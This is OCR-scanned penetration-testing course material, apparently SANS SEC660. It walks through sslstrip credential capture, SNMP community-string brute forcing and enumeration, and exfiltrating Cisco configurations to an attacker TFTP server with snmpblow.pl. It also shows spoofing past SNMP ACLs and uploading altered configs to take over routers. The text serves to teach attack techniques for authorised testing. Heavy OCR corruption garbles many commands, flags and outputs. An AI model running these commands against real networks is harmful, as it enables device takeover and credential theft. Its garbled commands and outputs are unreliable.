from the command-line using the Python 2.6 interpreter included with Kali Linux to work around a
bug in the Twisted framcwork used by Sslstrip. When you start Sslstrip, it will ;listening on the
HTTP traffic redirection port as shown.
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Victim Step

Exercise — Sslstrip (9)

e Open browser, browse to
http: //10 10 10 70 cllck "Iogln"

Exercise - Sslstrip (9) -- Victim Step
As the victim, open the web browser (Internet Explorer or Firefox) and browse to http://10.10.10.70.
As before, click the "login" link on the left side of the page.
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Victim Step

Exercise — Sslstrip (10)

e Submit FAKE login credentials
—e.g. User: joanna, Pass: flairpieces
e You will be redirected to login again

R =
-

Exercise - Sslstrip (10) -- Victim Step

As the victim, enter FAKE authentication credentials on the target website such as the example
shown on this slide, then click "Log In". You will be redirected to the login page again, since there
is no authentication function implemented on this page, but it will suit our purposes for the lab
exereise.
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Attacker Step
Exercise — Sslstrip (11)

e Return to Ettercap window

e Captured HTTP credentials will be
displayed

Text only Interface activated...
Hit 'h' for inline help

HTTP : 10.10.10.70:80 -> USER: joanna PASS: flairpieces 1INFO:
http://10.10,10.70/10gin/

Advanced Peneration Tesdng, Fixploit Writing, and Frhical Hacking

Exercise - Sslstrip (11) - Attacker Step
After the victim attempts to login to the target website, return to the Ettercap window to observe the

login credentials, as shown on this slide.
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Victim Step

Exercise — Sslstrip (12)

e Remove lab trusted root certificate

—Firefox: Tools | Options | Advanced
| View Certificates | Select
"10.10.10.70:443" | Delete | OK | OK

—IE: Start | Run | certmgr.msc | OK |
Trusted Root Certification Authorities
| Certificates | Select "10.10.10.70" |
Action | Delete | Yes | Yes

Exercise - Sslstrip (12) — Victim Step
At the end of the lab, remove the trusted root certificate from Firefox or Internet Explorer, following
the instructions on this slide.
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SNMP

Weak yet heavily-used network
management protocol

— Monitoring systems, remote device
management, notification events

Managed device, agent, NMS, MIB
History of implementation failures
SNMPv1, SNMPv2c and SNMPv3
UDP/161 in common implementations

@
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SNMP

The Simple Network Management Protocol (SNMP) is a commonly weak yet heavily-used network
management protocol found in many enterprisc nctworks. A vital component for monitoring system
statistics, remotc device management and for network notification events, SNMP is a worthwhile
opportunity to investigate for cxploitation opportunitics.

In an SNMP framework we typically have four components:

* Managed Device: The managed device is the device that is allowing a remote device to read
and possibly write SNMP variablcs.

* Agent: The agent is the SNMP service running on the managed device.

* NMS: The Network Management System is the management console that collects and possibly
sets SNMP data on the managed devices by interacting with each SNMP agent. Common
NMS'" include HP OpenView, Tivoli, and other lightweight data collection systems such as
Cacti.

* MIB: The Management Information Basc is the set of data reported by the SNMP agent on the
managed device. Partially structured, the SNMP MIB represents the data store for retricving
and setting information through SNMP.

Many SNMP implementations have had a history of security failures, ranging from default
authentication credentials that cannot be changed to implementation flaws that can be exploited with
malformed SNMP traffic. Tools such as snmp-fuzzer
(http://www.vulnerabilityasscssment.co.uk/snmpfuzzer.htm) use pre-built test cases from the Oulu
University Securc Programming Group (OUSPG) to evaluate the robustness of SNMP
implementations when handling malformed data.
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From a sccurity perspective, SNMPv1 and SNMPv2¢ (version 2, community edition) are very
similar, offering no encryption or integrity protcction, relying on a shared secrct or "community
string" to validate a NMS' access to the SNMP agent. Generally, the SNMP agent offers read-only
access to the MIB with one community string, and optionally may offer read-write access to the MIB
using a separate key.

SNMPv3 added support for enhanced security with three available sccurity models: noAuthNoPriv
(using no authentication or encryption), authNoPriv (using authentication without encryption), and
authPriv (using authentication and encryption). Authentication is implemented through a shared
secret using HMAC-MDS or HMAC-SHA checksums included with SNMP traffic. Encryption is
provided through the DES cipher in cipher-block-chaining (CBC) mode.

SNMP implementations usc UDP/161 for the agent listening port. An agent can also scnd an

unsolicited SNMP message to an NMS known as a SNMP trap following a configured network cvent
using UDP/162.
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SNMP Attacks

e Community string attacks
—Eavesdropping attack
— Dictionary attack

e Information disclosure threats
— Sensitive information in MIB

e Remote system management
—Controlling remote device over SNMP
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SNMP Attacks

When evaluating the opportunities for exploiting SNMP, we generally have three categories of
attacks:

¢ Community String Attacks: An attacker may attack the sclection of a community string to
gain access to the MIB, or to send spoofed SNMP traps to the NMS. Community strings for
SNMPv1 and SNMPv2c¢ are vulnerable to cavesdropping attacks, while all three versions of
SNMP arc vulnerable to dictionary attacks.

* Information Disclosure Threats: An attacker with access to the SNMP MIB may explore the
available data to glcan sensitive information that may be used to exploit the system further,
or to gain additional system or nctwork privileges.

° Remote System Management: If read/write access to the MIB is achieved, an attacker can
remotely control and reconfigure a device.

Next, we'll look at each of these attacks in more detail.
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SNMP Eavesdropping: Ettercap

e As MITM, Ettercap will log all SNMP
community strings observed
—Address identifies agent, not NMS

—Add "-p [PCAPFILE] to Ettercap for
packet capture detail

4 ettercap -TgM arp:remote // //

ettercap 0.8.0 copyright 2001-2013 Ettercap Development Team

SNMF : 10.144.246.161:161 -> COMMUNITY: [RO CBecti!] INFO: SNMP v2
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SNMP Eavesdropping : Ettercap

If SNMPv1 or SNMPv2c are in use and the attacker can obscrve the traffic, the community string
can be obtained through password sniffing techniques. 1f SNMP activity is present on the LAN, an
attacker who launches a MITM attack with Ettercap will see output similar to that shown on this
screen, identifying the SNMP agent sending or receiving SNMP traffic with the community string
and the observed SNMP version.

Note that Ettercap does not identify the address of the NMS interacting with the SNMP agent. To

collect this level of detail, configure Ettercap to log observed traffic with the "-p pcapfile” argument,
then inspect the address information with Wireshark to identify the NMS.
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SNMP Agent Discovery

¢ Nmap version scan may identify SNMP agents
— Many embedded SNMP agents, Linux
— Windows agents with weak community string
- Any SNMPv3 agents

e DNS names in use may reveal likely SNMP NMS
or agents
- "cacti", "mrtg", "nagios", etc.

— Any device with "rtr", "router”, "gig", "atm", etc.
in the hostname

it Wridne, and Fehieal Hackine

SNMP Agent Discovery

Scanning for SNMP agent devices has some difficulty due to limitations with UDP port scanning
(when ICMP is filtered, UDP port scanning is ineffective, and very slow), and variations in how
different SNMP agents respond to requests when configured with the wrong SNMP community
string. Fortunately, Nmap's version scanning feature will probe a target system on UDP/161 in an
attempt to identify behavior that is characteristic of a SNMP agent. This technique has a high degree
of success when targeting common embedded SNMP implementation (such as routers and other
networking devices), as well as any agents using a default community string of "public". Nmap will
also identify any system with SNMPv3 support, due to changes in the protocol where the SNMP
agent will respond to failed authentication requests.

Notably, Nmap's version scan will not identify the presence of Windows hosts running the Microsoft
SNMP agent with a non-default community string. We'll look at alternate techniques for identifying
these SNMP agents in this module.

As a secondary technique to narrow down a list of devices that are likely SNMP managed devices,
DNS interrogation can also be used. Hostnames such as "cacti", "mrtg", "hpov", "tivoli" and
"nagios" are likely SNMP NMS devices, possibly accepting SNMP traps from managed devices.
Further, devices with common acronyms or abbreviations indicating their functionality on the

network as a router or bridge of some sort (such as "rtr", "router", "gig", "atm", etc.) in the hostname
are also worthwhile targets to further evaluate as possible SNMP managed devices.
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Nmap SNMP Version Scan

Nmap results against SNMP server with default community string (public)
4 nmap -sU -pl6l -A 10.10.10.3

Starting Nmap 5.00 ( http://nmap.org } at 2010-10-04 23:06 EDT
Interesting ports on 10.10.10.3:

FORT STATE SERVICE VERSION

161 /udp open snmp SNMPwl server (public)

| snmp-sysdescr: Brother NC-7400w, Firmware Ver.1.02 (08.03.14),MID
BCS5~-CL TP EFID =2

|15 System uptime: 25 days, 92:34:36,95 (219447695 timeticks)

Nmap results against SNMPv3-capable server
{ nmap -sU ~-pl6l -A 10.10.10.116

Starting Nmap 5.00 ( http://nmap.org ) at 2010-10-04 23:07 EDT
Interesting ports on 10.10.10.116:
PORT STATE SERVICE VERSION
161 /udp open snmp SNMPv3 server
ed renetranon ]

Nmap SNMP Version Scan

A minimal Nmap scan using UDP port scanning limited to UDP/161 is shown on this slide,
evaluating two hosts. The first scan results reveal that the device is an SNMPv1 managed device
configured with the community string "public". The Nmap version scan also retrieves the SNMP

System Description MIB entry to provide additional information to the user as to the identity of the
device.

The second Nmap scan also indicates the presence of a SNMP managed device, this time using
SNMPv3. In the second scan, Nmap did not attempt to enumerate MIB entries, since a username and
password are required to access the system.
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FierceDNS Enumeration

5 fierce.pl -dns ri.cox.net

TrYEng worke bransfer Civsl...

cfg.ricox.net.

P HEalp T 0 o h e

+ brute force

- Automates zone transfer,
common hostname
guessing, reverse lookup
rovslbEO2.rtr.xi.c enumeration, recursive
il lookups for sub-domains.

Wi, EL

FierceDNS Enumeration

The FicrceDNS tool (implemented as "ficrce.pl") provides a means to quickly enumerate multiple
DNS scrvers, attempting to perform a zonce transfer first, then using a short common hostname list to
brute-force configured DNS entries. FierceDNS also performs reverse lookups on IP addresses
discovered through DNS enumecration to identify other sub-domains (where foo.sans.org is a sub-
domain of sans.org) for further scanning.

In the example on this slide, the author evaluated the DNS server of the local ISP, first revealing a
DNS server permitting zone-transfers, which revealed interesting hostnames such as
"tivocfg.ri.cox.nct” (possibly indicating a Tivoli system) as well as multiple hosts with "rtr"" or "atm"
in the hostname (possibly indicating network routers).
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onesixtyone

e Standalone SNMP community string scanner

e Does not stop scanning once a community string is found
— Will enumerate all community string guesses for each host

e Designed to scan at LAN speeds, increase per-packet
delay with "-w" if scanning remote networks

e Scans 254 hosts in ~6 minutes

# genip 10.10.10.1-254 >hosts.txt

4 omesixtyone -c snmp.txt -i hosts.txt

Scanning 254 hests, 119 communities

10.10.10.3 lpublic] Brother NC-T7400w, Firpware Ver.l.02 ([08,03.14),MID 8C5-

ClA s EID2

10.10.10.146 [public) Hardware: xH8&6 Family 15 Model 0 Stepping 10 AT/AT

COMPATIBLE - Software: Windows 2000 Yersion 5.0 iBuild 2195 Uniprocessor fFree

10.10.19.1% [ecisco] Cisgo I0S Software, C2960 Software [CZ960-LAME f); NMerpsign

12,2125 FX, BELEASE SQFTWARE {fcl} Copyright (o} 1985-2005 by Cilsco Systems,
22:05 by yenanh

Tna. Compiled Wed 12-0ct-05 232
10.10.010.100 [publlc] Hardware: #86 Family & Model 1% Stepping 11 AT/AT

COMPATIBLE - Software: Windows Version 6.1 {(Build 7600 Maltiprocessor Free)
10.10,.10.3 {internal] Brother NC-7400w, Firmware Ver.1.0Z2 (08.03.14),MID BCE~
CLF,FID 2

Onesixtyone

The onesixtyone tool from Solar Designer is a standalone SNMP scanner written in C. Onesixtyone
uses a non-blocking approach to SNMP scanning for efficiency and speed, sending rapid community
string guesscs in one thread while waiting for responses in another thread. Onesixtyone will continue
scanning the target device until all the specified community strings arc exhausted.

Onesixtyone was designed to work in LAN environments by default, with a minimal dclay of 10
milliseconds between each community string guess. If you are scanning a remote network that does
not respond as quickly as hosts on the LAN, increase the delay between cach guess with the "-w"
argument based on the estimated round-trip time of the network divided by 2.

Onesixtyone can scan a single host with a single community string using command-linc arguments
only, but to scan a list of hosts with a list of community strings you need to create two files; one
containing the list of targets to scan by IP address one per line, and a sccond list of community
strings to gucss with. In the example on this slide, the "genip" tool is used to create the list of IP
addresses based on a simple range designation.

Onesixtyone is available from http://labs.portcullis.co.uk/application/oncsixtyone/.
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Metasploit SNMP Scanner

# ./msfconsole

msf> use auxiliary/scanner/snmo/snmp login

msf auxiliary{snmp login} > set RHOSTS 172.16.0.1-254
RHOSTS => 172.16.0.1-254

msf auxiliary(snmp login} > set VERBOSE false
VERBOSBE => false

msf auxiliary(snmp login) > set THREADS 4

THREADS => 4

msf auxiliary(snmp login) > exploit

[+] SNMP: 172.16.0.2 community string: 'public' info: '"Brother NC-
7700w, Firmware Ver.1.05 (12.06.14),MID 84E-302"

[+] SHMP: 172.16.0.4 community string: 'public' info: 'Brother NC-180w,
Firmware Ver,{,09 ,MID BCA-F11-001°

Like onesixtyone, Metasploit Framework's smb_login module will keep
guessing community strings, even after it finds a valid string.
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Metasploit SNMP Scanner

The Mctasploit SNMP scanncr is available as an auxiliary module through msfconsole or msfcli as
"auxiliary/scanner/snmp/snmp_login". Available arguments include the number of scanning threads
Metasploit should spawn (THREADS), which should be set to the number of processors or processor
cores on your system. The target IP address group is specified with a starting and stopping IP
address scparated by a dash (RHOSTS). By default, the scanner will print a line of output for cach
community string tested for cach host; disable this verbosity by setting "VERBOSE" to false as
shown. Use the "exploit" command to start the scan.

Like onesixtyone, the Mctasploit Framework smb_login module will keep guessing community
strings, cven after it finds a valid string. This is important because we don't want the discovery of a
read-only string to stop the scanner when it might otherwise identify a read-write string as well.
From a performance perspective, Metasploit's SNMP scanner is slower than oncsixtyone, requiring
approximately twice as long to scan the same number of hosts with a comparable community string
list.
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snmpcheck

o Accepts a target or range of targets and a
community string as input

e Uses common MIB OID's to enumerate
device

— Identifies device operating system, then
platform-specific entries

# snmpcheck -t 10.10.10.4 -c HotSoPublicCommunityString
snmpcheck.pl v1.7 - anmp enumerator
Copyright {c} 2005-2008 by Matteo Captoni (nothink.orgd

[*] try to comnect te 10.10.10.4...
{#] Conpecrped to 10.10.10.4! Scarving check at Thu Sep 30 le:02:07 2010

Hostname : BRWCALTFECBE2740
Description ¢ Brother NC-|80w, Firmware Ver (.08 ,MID SCA-F11i-001

snmpcheck

The snmpcheck tool (available at http://www.nothink.org/perl/snmpcheck) uses a community string
and a target designation to enumerate useful information from a target system. With the ability to
identify the device operating system and apply platform-specific MIB queries, snmpcheck is a useful
starting point to collect information from a target system with SNMP access.

By default, snmpcheck uses the community string "public” to gather MIB information; if we know
an alternate community string we can specify it with the "-¢" argument as shown on this slide.
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1.7 - snrp enumesator

(o) Z005-2008 by Matteo Canteni (nothink.orgl

i winl-ws

i Hardwars: x856 Family & Model 1% Stepping 11 AT/AT COMPATIBLE -
fon €.1 (Build 7600 Meltiprocessor Free)

ands

O

 WORRGEQUP

Also enumerates network
pdainistra interfaces and addresses, routing,
e BT Windows services, "netstat -nao"
; output and installed software.

|
|
!

_WVHWaATre BIel

[*] Processes
Total processes : 68

Process 1ype 1 1 unknown, 2 operating system, 3 device driver, 4 application
: 1 running, 2 runnable, 3 not runnable, 4 invalid

Process id Brocess name Process type Process statuz Process path

1488 spoglsv,exe 4

1524 4 i
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snmpcheck.pl v1.7 - snmp enumerator

This slide presents partial output from snmpcheck against a Windows 7 target. Upon identifying the
host as a Windows system, snmpcheck will leverage known Microsoft MIB entrics to collect the
following information:

¢ Device information including hostname, system architecture, domain and uptime

*  List of storage devices, local and networked including filesystem type

¢ Virtual and physical memory configuration

e List of network interfaces including MAC and IP address, link type, MTU and input and
output byte count statistics

e List of local user accounts

= Running system processes including the PID, proccss type, status and exccutable path

e Local routing tablc information

¢ Running service information

= List of listening and connected port information mirroring the output of "netstat -nao"

*  Local web server statistics

* Installed softwarc list
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Router/Switch SNMP Controls

e SNMP RW access to routers and switches
creates lots of opportunity
—Change port configuration settings
—Download startup or running configuration file

—Upload (merge or replace) modified
configuration file

SNMP RW Access is Effectively Equal to
Privileged Console Access

Router/Switch SNMP Controls

After identifying the SNMP RW community string, we can manipulate the target device in many
ways. Network devices such as routers and switches particularly allow us to use the SNMP RW
string to download the configuration file, upload and change the device configuration, or modify
other device settings, such as changing the access mode status of switch ports.

When we have SNMP RW access to a networked device, our control over the device is effectively
cqual to privileged console access with full control over the target.
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Testing SNMP RW

e Change a MIB variable using
snmpset
—Included with Net-SNMP tools

e Validate change using snmpwalk

SNMPvZ2-MIB::sysLocation. = STRING: Providence, Rhode Island
# snmpset -v2c¢ -c publlc 192.168.31.1 system.sysLocation.0 s "Foo"
Timeout: No Response from 192.168.31.1

# snmpset -v2¢ -c prlvate 192.168.31.1 system.sysLocation.0 s "Foo"
SNMPvZ~MIB: :sysLocation.0 = STRING: Foo

# snmpwalk -v2c -c prlvate 192.168.31.1 system.sysLocation.0
SNMPvZ-MIB: : sysLot STRING: Foo

dvanced Penerranon lesnng, Faxploit Wiinng, and Iithical Hacking

ation.0 =

Testing SNMP RW

It is sometimes necessary to validate if a compromised SNMP community string is limited to read-
only access or is capablc of both reading and writing. Wc can casily test a SNMP agent with a
community string by changing a common MIB variablc such as system.sysLocation using the
snmpset utility.

The Net-SNMP tools (http://net-snmp.sourceforge.net) include several utilitics to interact with an
SNMP agent, querying MIB variables with the snmpget or snmpwalk utilitics, and changing MIB
variables with snmpset.

In the first example, the snmpwalk utility is used in SNMP v2¢ mode ("-v2c¢") with the community
string publlc ("-c publlc") against the target at 192.168.31.1, querying the MIB entry
system.sysLocation.0. From the output revealed by the utility we know we have valid SNMP access
to the host, but we need to further cvaluate the access as rcad-only or read-write.

To determine if the community string is capable of writing to the MIB, use the snmpset utility.

Using the same arguments as the snmpwalk utility, appending "s" (to write a string variable)
followed by the string in quotes. In the first example, the snmpsct utility fails with the error message
"Timcout: No Response from 192.168.31.1", indicating that we arc unable to use the community
string to set MIB variablcs.

The 2™ example also attempts to set the system.sysLocation.0 MIB entry, this time using the
community string "prlvate”. We can verify the success of this change by using snmpwalk to retrieve
the MIB entry as shown.
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Cain: Cisco Config
_Download/Upload

Eile Yew Cgoligue Took Help

SwokRER +uv ¥ vV EmEEQEE 6 0

[£ Decodens [ Network [l snitter [ Cracker [@ Tracaroute |HB cCOU i«m [B Quey |
Timestamp | IF Address | SR RAW Communty | Filename |

Cisco Config Downloader W
Device Hostname / IP Address ]
[rovdudel edusds - :
SHMP ReadAv/ite Community %
IP'"’H- _-J %
Protocal E
BT o] o §’J

i
L = 5

it/ o cxid it

Cain: Cisco Config Download/Upload

Cain can quickly retrieve the configuration file from a Cisco device when given the SNMP
read/write community string. Simply navigate to the CCDU tab in Cain, then click the blue "+"
symbol on the toolbar. Enter the target IP address, the SNMP community string information, and the
SNMP protocol version (Cain supports SNMPv1 and SNMPv2; you can try both safely). When the
configuration file is retrieved, it will be listed in the CCDU results window.

Cain stores the configuration files that are retrieved in the C:\Program Files (x86)\Cain\CCDU

dircctory. You can open the files in an editor that supports Unix-formatted text files, such as
Notepad++ or Wordpad.
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snmp bl OV\L._D| One-time

# apt-get install tftpd-hpa Setup
4 mkdir /tftpboot && chmod 777 /tftpboot

# apt-get install libnet-snmp-perl libnet-rawip-perl
# wget http://www.scanit.be/uploads/snmpblow.pl

May wish to add a status indicator for snmpblow.pl at line 25 of:
print "Precessing community string $ ";

: : Exploiting the
in.tftpd -lep /tftpboot/

echo "private" »>communities de\”ce
echo "TargetRWString" >>communities

perl snmpblow.pl -d 10.10.10.10 -t 10.10.10.119 -f /tftpboot/switch-
config <communities

Processing community string private

Processing community string TargetbRWString

# 1s -1 /tftpboot/

total 8

-rw-r--r-- 1 nobody nogroup 7322 2010-10-05 10:17 switch-config

snmpblow.pl provides no status output, nor does it check for
success or failure. Consider logging with Wireshark to inspect the
results if the configuration file is not retrieved.
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snmpblow.pl

As a Linux alternative to Cain, we can usc tools such as snmpblow.pl to retrieve the configuration of
a Cisco 10S router or switch device. First, we need to establish a TFTP server on the attacker
system, such as the tftpd-hpa package available through Debian-based package management tool
"apt-get”, as shown. Next, we need to create a directory for the TFTP server to write to with open
permissions and install the required Perl library modules to support snmpblow.pl. Next, download
snmpblow.pl from the URL on this slide.

One limitation of snmpblow.pl is that it doesn't provide any output indicating the status of the attack.
In order to watch the progress of community strings that snmpblow.pl is testing, modify the script at
line 25 by adding a print statement, as shown.

After preparing the attacker's system, we can retrieve the Cisco 10S device configuration file. First,
start the TFTP server; the tftpd-hpa server can be executed with the "-lep" arguments, running the
TFTP server in the background, allowing the TFTP client (the target Cisco 10S device) to create a
new file.

Next, prepare a list of community strings that snowblow.pl can usc against the target system. If you
know the RW community string, create a filc containing the string name, or create a file with
multiple strings to usc for community string guesscs, one per line.

Finally, run the snmpblow.pl command, specifying the target Cisco 10S device with the "-d"
argument, the TFTP server address with the "-t" argument, and the output filename that the Cisco
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I0S device should write to over TFTP (notc that tftpd-hpa requires fully-qualified filenames to be
specified). The list of SNMP community strings (one or more) is redirected to the standard input of
snmpblow.pl. Note that snmpblow.pl does not provide any status output and does not attecmpt to
identify if the attack was successful or not. We can check the TFTP directory on the attacker's
system to determine if a new file is created, but the lack of a file does not help provide any detail to
troubleshoot the failurc. Consider capturing the traffic generated by snmpblow.pl, as well as the
responses from the Cisco 10S target device to determine if the failure is in the SNMP SET gencrated
by snmpblow.pl, or if the failurc is in the TFTP file transfer process.
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Bypassing SNMP ACL's

e JOS accommodates the use of ACL's to
permit and deny access with logging

e Since SNMP is UDP, we can spoof
source address of packet
—No ACL is applied to target TFTP server

# perl snmpblow.pl -s 10.10.10.1 -4 10.10.10.10
-t 10.10.10.119 -f /tftpboot/switch~config <communities
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Bypassing SNMP ACL's

Cisco 10S devices and many other networking vendors provide for the ability to limit access to the
SNMP agent through the use of an access control list (ACL). In the example on this slide, an ACL is
created that permits access from the source 1P address 10.10.10.1, logging all access attempts from
[P addresses that are not explicitly authorized.

While this is a recommended configuration for stronger access control to SNMP resources, it can be
cvaded by a savvy attacker. The ACL control is applicd to the source IP address of the SNMP traffic
but is not applied to the IP address used as the TFTP server specified for retrieving the I0S
configuration file. Since SNMP is UDP-bascd, we can generate spoofed frames using the permitted
source IP address in the ACL, writing the configuration file to the attacker's TFTP server. When the
"-s" argument is specificd, snmpblow.pl will spoof the source IP address of the SNMP traffic with
the specified IP address while still retrieving the 10S configuration filc.
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Changing running-config

e SNMP RW can upload a new configuration to Cisco
devices

e Download configuration using Cain CCDU or
snmpblow.pl, edit as you see fit

e Upload changes to merge into the running-config using
Cain or snmpset

.1.3.6.1.4.1.9.2.1.53.10.10.10.119 s "/tftpboot/switch-~
config"

L e

Eile View Configwe Tool Help

SROHER +¥v B RIDEELO
il’ Decoders I! Network I* Sniffer I,f Cracker ]° Traceroute ]ﬂ CCoL

5 snmpset -v2c -c SeriousPassword 10.10.10.10 ¢ ]7 I
|

Target Cisco l
device |

Modified

}Iummp SNMP R/W Community ] r|lenam e Conﬁguration
._ TR 5
| Attacker's TFTP
Upload
:' Right-click server

Entry

i-mp_ Fwvwrer ooid i

Changing running-config
SNMP read-write access can also be used to upload a new configuration to Cisco IOS devices. This

is an casy process with Cain: simply edit the file to make the desired changes, then right-click on the

file and sclect "Upload". Cain will merge the changes into the running configuration file on the
router.

From a Linux perspective, we need to download the IOS configuration file using snmpblow.pl and
cdit the file as needed. Place the modified file in the "/tftpboot" dircctory of your TFTP server, then
use the snmpsct utility to write to the MIB entry as shown on this slide. Replace the last four bytes
of the MIB with the IP address of the attacker (c.g. replace 10.10.10.119 with your IP address). This
will upload and merge the configuration file into the running configuration on the 10S device, giving

you the opportunity to reset virtual terminal (VTY) passwords, the cnable sceret, and other access
restrictions to take over the device.
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Exercise — SNMP Enum. (1)

e Use Kali Linux as attacker system

e Target the IP addresses for the lab
systems at 10.10.10.40-80
— Brute-force SNMP community strings

—Enumerate data from systems with
recovered strings

Exercise - SNMP Enumeration (1)
In this exercisc we'll use Kali Linux as our attacker, exploring the lab environment to identify victims

running SNMP agents, brute-forcing community strings. When the community string is recovered,
we'll enumerate data from the vulnerable systems.
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Exercise — SNMP Enum. (2)

e Use onesixtyone to scan for and brute-
force community strings

— Common list of community strings at
Jusr/share/doc/onesixtyone/dict.txt

— Target the hosts at 10.10.10.40 - 10.10.10.80

e Identify vulnerable SNMP
implementations

Exercise - SNMP Enumeration (2)

For this lab we'll use the onesixtyone tool to scan for and brute-force a list of common community
strings against the targets. Kali Linux includes a list of common community strings at the path
shown on this slide. Using this list, target the hosts at 10.10.10.40-10.10.10.80 to identify
vulnecrable SNMP implementations.
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Exercise — SNMP Enum. (3)

e Use snmpcheck to collect information
about target systems
e Identify interface IP addresses

e Identify mount points on a second
target system

Exercise - SNMP Enumeration (3)

For each target whose SNMP community string you recover, usc the snmpcheck script to enumerate
information about the target system. Identify the interfacc addresses that are present on one victim.
For a second victim, identify the filesystem mount points.
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Exercise — SNMP Enum. (4)

e STOP - Answers for the SNMP
Enumeration attack exercise follow

e Proceed only after you have exhausted
your options for completion on your
own

Exercise - SNMP Enumeration (4)
Answers to the lab excrcise follow; proceed no further unless you have exhausted your options for
completing the exercisc on your own.
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Exercise — SNMP Enum. (5)

Create this list of IP address in a file called 10.10.10.40
ntar n 10.10.10.43

gets 10.10.10.42

< > | 10.10.10.43

Manually with gedit or another text editor ij 1;”‘5?‘9‘3 £y

t el Phrenee 10.10.10.71
__or with Pvthon 10.10.10.72
ot y — S [
e e | 10.10.10.75

_ . : | 10.10.10.76
— ... Or with genip L 11 10.10.10.77
# wget -0- files.sec660.org/genip.tgz | tar xfz - 10.10.10.78
# cd genip && make && make install && cd .. 10.10.10.79
# genip 10.10.10.40-80 >targets 10.10.10.80

\dvanced Penctration Testing, Exploit Writing, and ihical

Exercise - SNMP Enumeration (5)

To scan a range of IP addresses with onesixtyone, we need to gencrate a file that contains each target
[P address, one per line. We can do this manually using a text cditor such as gedit, or through a onc-
line Python script shown on this page.

We can also use the genip tool to build a range of 1P addresses, redirecting the output to a file. Kali
Linux no longer includes the genip tool, but we can download and build it using thec commands

shown on this page.

Use any of these techniques to create the targets file in your home directory, then continue with the
cxercise.
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Exercise — SNMP Enum. (6)

# onesixtyone ~i ~/targets -c /usr/share/doc/onesixtyone/dict.txt
Scanning 41 hosts, 49 communities

10.10,10.40 [private] Cisco I05 Software, C2600 Software (C2600-
ADVSECURITYKS-M), Versicn 12.3(11)T, RELEASE SOFTWARE (fc2) Technical
Support: http://www.cisco.comn/techsupport Copyright (c) 1286-2004 by
Cisco Systems, Inc. Compiled Sat 18-Sep-04 11:38 by eaarmas
10.10.10.80 [private] Hardware: Inteléd4 Family 6 Model 37 Stepping 1
AT/AT COMPATIBLE - Software: Windows Version 6.1 {(Build 7601
Multiprocessor Free)

10.10.10.40 ([public] Cisco 10S Software, C2600 Software (C2600-
ADVSECURITYK9-M), Version 12.3(11}T, BRELEASE SOFTWARE (fc2) Technical
Support: http://www.cisco.com/techsupport Copyright (¢) 1%86-2004 by
Cisco Systems, Inc. Compiled 5at 18-Sep-04 11:38 by eaarmas
10.10.10.70 [public] Linux sect6l-lab-server 2.6.32-24-generic-pae #43-
Ubuntu SMP Thu Sep 16 15:20:27 UTC 2010 1686

10.10.10.77 {public] Hardware: x86 Family 6 Model 37 Stepping 1 AT/AT
COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Multiprocessor
Free)

Exercise - SNMP Enumeration (6)

After creating the list of [P address targets, change to the onesixtyone dircctory. Invoke onesixtyone,
specifying the list of IP address targets with the "-i" argument, and the onesixtyone default
community list file /usr/sharc/doc/onesixtyone/dict.txt with the "-¢" argument, as shown on this page.

When the scan is complete, 5 SNMP community strings will be revealed across 4 target hosts, as
shown.
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Exercise — SNMP Enum. (7)

# snmpcheck -t 10.10.10.70 -c public
snmpcheck.pl w1.8 - SHNMP enumerazor
Copyright (o) Z005-2001 by Mattec Cantoni {(www.nothink,org)

Hostname : seco6l-lab-s5erver
; : Linux s&c660
2010 168E

ZZ2 heours; H5er2ELT0
27 Wonrs, 563035,

-lab=-server Z.6.32-24-generic-pas $43-Tbunzu

: Root <root@localhosts {configure
‘gnme/snmpd . local .conf)

ition t Unknown (configure /Jetc/snmp/snmpd. locsl.conf)

s34} T

: information
information

[*] Hetwork inform
[*] Hetwork interfac
ng TOP ports and contections
1 BOE ports

[*] Mountpolnts

Y] EBnumerated 10.10.50.70 in $5.54 seconds
Signal USR] received in thread 1, but no signal handler set. at fusr/bin/snmpcheck
Line 230,

\dvanced Penetranon lesnng, | 341W1~|1l Wrnng, and T.thical Hacking

Exercise - SNMP Enumeration (7)

After identifying the target SNMP hosts and revealing the configured community strings, we can
cnumerate data from the target systems. Change the snmpcheck directory and invoke the Perl script
as shown on this page, specifying the target IP address with "-t" and the target community string with

This slide shows the output of enumerating the host at 10.10.10.70. Basic information such as the
system hostname, SNMP description including the release and kernel information, and system
uptime is disclosed. Additional valuable information is also disclosed, including information about
system dcevices, storage, running process list, netstat information, listening network interfaces, mount
points and more are also disclosed by omitted for space on this page.

Note that some of the output of snmpcheck will include a warning due to a bug in this tool; this
warning can be safely ignorced.
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Exercise — SNMP Enum. (8)

4 snmpcheck -t 10.10.10.40 -c public
anmpcheck.pl v1.8 - SHMP enumerator
Copyright {(c) 2005-2011 by Matteo Cantoni {(www.nothink.org)

{*] Ty %o conmett to 10.10,10.4G
] Lonnected to 10.10.10.40
|*] Starting enumeration at 2012-07-20 0B:12:42

[*] Swvstem informartion

Destination Next Hop Mask Metrioc
153450 Lol m
10.0.06.0 10.10.10.40 =
a5 BB e (e I 2
i B i kel it 4

Exercise - SNMP Enumeration (8)
Similarly evaluating the target host at 10.10.10.40 reveals information about the Cisco router,
including the configuration of local interfaces with IP addresses, routing information, and listening

UDP port information.

Congratulations! This concludes the exercises.
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660.1 Bootcamp

SANS SEC660

660.1 Bootcamp
Welcome to the SANS 660.1 Bootcamp!
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Bootcamp Exercises

e Metasploit SMB Capture with Ettercap
Filter

e OSPF Routing Manipulation
e Cisco Configuration Retrieval

Bootcamp Exercises

In this bootcamp session we will tackle several exercises. First we'll use Metasploit's SMB capture
server to lure a victim browser into sending credential information with a custom Ettercap filter.
Next, we'll look at exploiting common weaknesses in OSPF deployments, attacking the message
digest sceret and injecting routes to manipulate the internal network. Finally we'll look at Cisco
router configuration retricval over SNMP and TFTP.
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Exercise: SMB Capture with
Metasploit and Ettercap

e In the Manipulating the Network module we
looked at Ettercap filters
— After establishing a MITM attack, selectively
manipulate traffic
e Internet Explorer will automatically retrieve
references using UNC paths
—e.g. \\server\image.gif
— Sends authentication credentials to target in
the process

Exercise: SMB Capture with Metasploit and Ettercap

In the Manipulating the Network session we spent some time looking at Ettercap filters. Once we
are able to cstablish a Man-In-The-Middle (MITM) attack, an Ettercap filter allows us to sclectively
manipulate network traffic. We'll continue this process in this exercise, leveraging Ettercap along
with Metasploit to capture a user's authenticated credentials.

As part of this process we'll target Microsoft Internet Explorer and the victim web browsing to an
unencrypted website, injecting content to include an image reference to a UNC file path of the
Mectasploit SMB scrver. In this exchange, the victim will send their authentication credentials to the
attacker, which arc logged by the Mctasploit SMB server.
